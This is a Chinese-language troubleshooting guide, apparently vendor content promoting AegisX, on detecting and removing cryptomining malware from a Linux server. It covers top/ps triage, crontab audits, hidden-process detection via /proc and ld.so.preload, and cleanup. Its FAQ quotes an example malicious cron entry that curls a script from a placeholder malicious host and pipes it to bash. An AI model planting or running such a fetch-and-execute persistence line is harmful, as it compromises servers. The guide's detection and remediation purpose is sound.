服务器CPU跑满挖矿木马排查:top、crontab与进程隐藏实战 核心要点图解,top命令按CPU排序快速定位异常进程,注意伪装成系统进程的名称。;crontab -l检查所有用户定时任务,挖矿木马常通过计划任务持久化。;进程隐藏可通过/proc对比ps结果或使用unhide工具检测。;清除时先杀进程再删文件,最后检查并修复crontab和启动项。
服务器CPU跑满挖矿木马排查:top、crontab与进程隐藏实战 · 核心要点一图读懂(AegisX)

核心要点(TL;DR)

  • top命令按CPU排序快速定位异常进程,注意伪装成系统进程的名称。
  • crontab -l检查所有用户定时任务,挖矿木马常通过计划任务持久化。
  • 进程隐藏可通过/proc对比ps结果或使用unhide工具检测。
  • 清除时先杀进程再删文件,最后检查并修复crontab和启动项。

深夜收到CPU告警,登录服务器发现top显示CPU占用100%,却找不到明显的高负载业务——这很可能是挖矿木马在作祟。挖矿木马不仅消耗资源,还会留下后门,威胁数据安全。本文提供一套从发现到清除的实战排查流程,包含具体命令和检查清单,帮助你快速恢复服务器。

一、初步定位:用top和ps锁定异常进程

登录服务器后,首先执行top -c,按P键以CPU使用率排序,观察占用最高的进程。注意进程名是否伪装成系统进程(如kworker、sshd),但路径或命令行参数异常。按c可显示完整命令行。记录可疑PID,用ps -ef | grep PID查看详细信息,重点关注进程的启动用户、父进程和可执行文件路径。

若进程名随机或路径在/tmp、/dev/shm等临时目录,基本可判定为恶意。使用lsof -p PID查看进程打开的文件和网络连接,挖矿木马通常会连接矿池地址(如pool.minexmr.com)。

二、检查持久化:crontab与启动项

挖矿木马常通过计划任务实现持久化。执行crontab -l查看当前用户任务,并检查所有用户:for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u $u; done。同时检查/etc/cron.d/、/etc/cron.hourly/等目录,以及/etc/rc.local、/etc/init.d/下的启动脚本。恶意任务常包含curl、wget下载并执行远程脚本,或直接启动挖矿程序。发现后先注释掉,保留证据。

三、深度检测:进程隐藏与内核模块

如果ps和top看不到异常进程,但CPU依然很高,可能存在进程隐藏。对比/proc下的PID列表与ps输出:ls /proc | grep -E '^[0-9]+$' | sort -n > /tmp/proc_pids; ps -e -o pid= | sort -n > /tmp/ps_pids; diff /tmp/proc_pids /tmp/ps_pids。若有PID只在/proc中存在,则进程被隐藏。还可检查LD_PRELOAD环境变量:cat /etc/ld.so.preload,若存在不明.so文件,很可能用于劫持系统调用。使用lsmod查看内核模块,可疑模块可用rmmod卸载。

四、清除与修复:分步操作指南

确认恶意进程后,按以下步骤清除:

  1. 杀死进程:kill -9 PID,若父进程不断重启子进程,先杀父进程。
  2. 删除恶意文件:根据lsof找到的路径,删除可执行文件和配置文件。
  3. 清理crontab:编辑对应用户的crontab,删除恶意任务,并重启crond服务:systemctl restart crond。
  4. 检查并修复启动项:移除/etc/rc.local等处的恶意启动命令。
  5. 修改所有用户密码,检查~/.ssh/authorized_keys是否有陌生公钥。
  6. 更新系统和软件补丁,关闭不必要的端口和服务。

清除后持续观察CPU和网络连接,确保无复发。建议部署AegisX的实时入侵检测功能,可监控异常进程和网络行为,及时发现类似攻击。

五、防护清单:避免再次中招

日常运维中,遵循以下清单降低风险:

  • 定期更新系统和应用补丁,尤其是SSH、Redis等暴露服务。
  • 使用强密码并启用SSH密钥登录,禁用root远程登录。
  • 限制crontab权限,仅允许可信用户使用。
  • 部署主机安全软件,监控文件完整性和异常进程。
  • 定期备份关键数据,并测试恢复流程。

挖矿木马排查需要细心和速度,掌握以上方法可有效应对。若服务器频繁被入侵,考虑使用AegisX的全面防护方案,从网络层到主机层阻断攻击链。

常见问题(FAQ)

服务器CPU突然跑满,怎么判断是不是挖矿木马?

首先用top命令查看CPU占用最高的进程,若进程名可疑(如随机字符串、伪装成kworker等)且路径异常,则高度疑似挖矿木马。同时检查crontab和网络连接,挖矿木马常连接矿池地址。结合本文的排查步骤可快速确认。

挖矿木马如何通过crontab实现持久化?

挖矿木马通常会在crontab中添加定时任务,定期下载并执行恶意脚本,或直接启动挖矿程序。常见形式如*/10 * * * * curl -s http://恶意地址/脚本 | bash。检查所有用户的crontab和/etc/cron.d/目录可发现异常。

ps命令看不到进程但CPU依然很高,是怎么回事?

这可能是进程隐藏技术,木马通过LD_PRELOAD或修改内核模块隐藏进程。可通过对比/proc目录下的PID与ps输出,或使用unhide工具检测。也可检查LD_PRELOAD环境变量和内核模块是否被篡改。

清除挖矿木马后,如何防止再次感染?

清除后需修复漏洞(如弱口令、未打补丁的服务),修改所有用户密码,检查SSH授权密钥,并部署安全防护软件。建议使用AegisX的入侵检测和实时防护功能,监控异常进程和网络连接,防止复发。